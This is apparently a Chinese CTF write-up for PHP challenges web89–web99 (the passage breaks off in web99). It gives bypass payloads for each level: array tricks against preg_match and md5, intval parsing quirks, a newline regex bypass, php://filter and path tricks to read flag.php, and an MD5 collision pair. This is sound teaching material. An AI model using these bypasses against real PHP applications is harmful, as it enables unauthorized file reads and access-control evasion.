web89
考点:数组绕过正则表达式
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
直接数组绕过
<?php
$num = array('A');
print(intval($num));
//1
?>
?num[]=1
web90
考点:intval函数的小trick
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}
第一种解
intval是取整数,直接float绕过
?num=4476.1
第二种解
intval遇到字符会停止,可以在后面加一个字符绕过
?num=4476e
第三种解
intval第一位如果遇到空格会默认继续读取,在前面加一个空格绕过
?num=%204476
web91
考点:换行绕过正则匹配
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
第一个使用多行匹配,第二个未使用,直接换行符绕过
?cmd=php%0a%0b
web92
考点:intval函数的小trick
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
第一种解:
老手法,float绕过
第二种解:
intval会把e当做科学计数法
?num=4476e213
web93
考点:intval函数的小trick
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
第一种解:
仍可以float类型绕
?num=4476.1
第二种解:
intval可以解析二进制八进制十六进制等等
这里可以直接八进制绕过
?num=010574
web94
考点:intval函数的小trick + strpos小trick
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
第一种解:
float继续梭
?num=4476.0
第二种解:
八进制配合%0a换行直接梭,strpos不会匹配换行后的内容
?num=%0a010574
第三种解:
空格配合八进制
?num=%20010574
web95
考点:intval函数的小trick + strpos小trick
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
第一种解:
八进制配合%0a换行直接梭,strpos不会匹配换行后的内容
第二种解:
空格配合八进制
第三种解:
?num=+010574
web96
考点:highlight_file对目录处理上的小trick
highlight_file(__FILE__);
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
文件包含的一些小细节
?u=./flag.php
?u=/1/../flag.php
?u=php://filter/read=convert.base64-encode/resource=flag.php
?u=file:///var/www/html/flag.php
web97
考点:md5处理数组上的漏洞
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
第一种解:
md5处理数组会返回空,直接可以绕过
[POST]
a[]=1&b[]=2
第二种解:
md5强类型碰撞
[POST]
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
web98
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
php的三元运算
如果get传参存在,就用post传参覆盖,然后最后需要让get传参的HTTP_FLAG参数为flag
[GET]
?flag=123
[POST]
HTTP_FLAG=flag
web99
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1</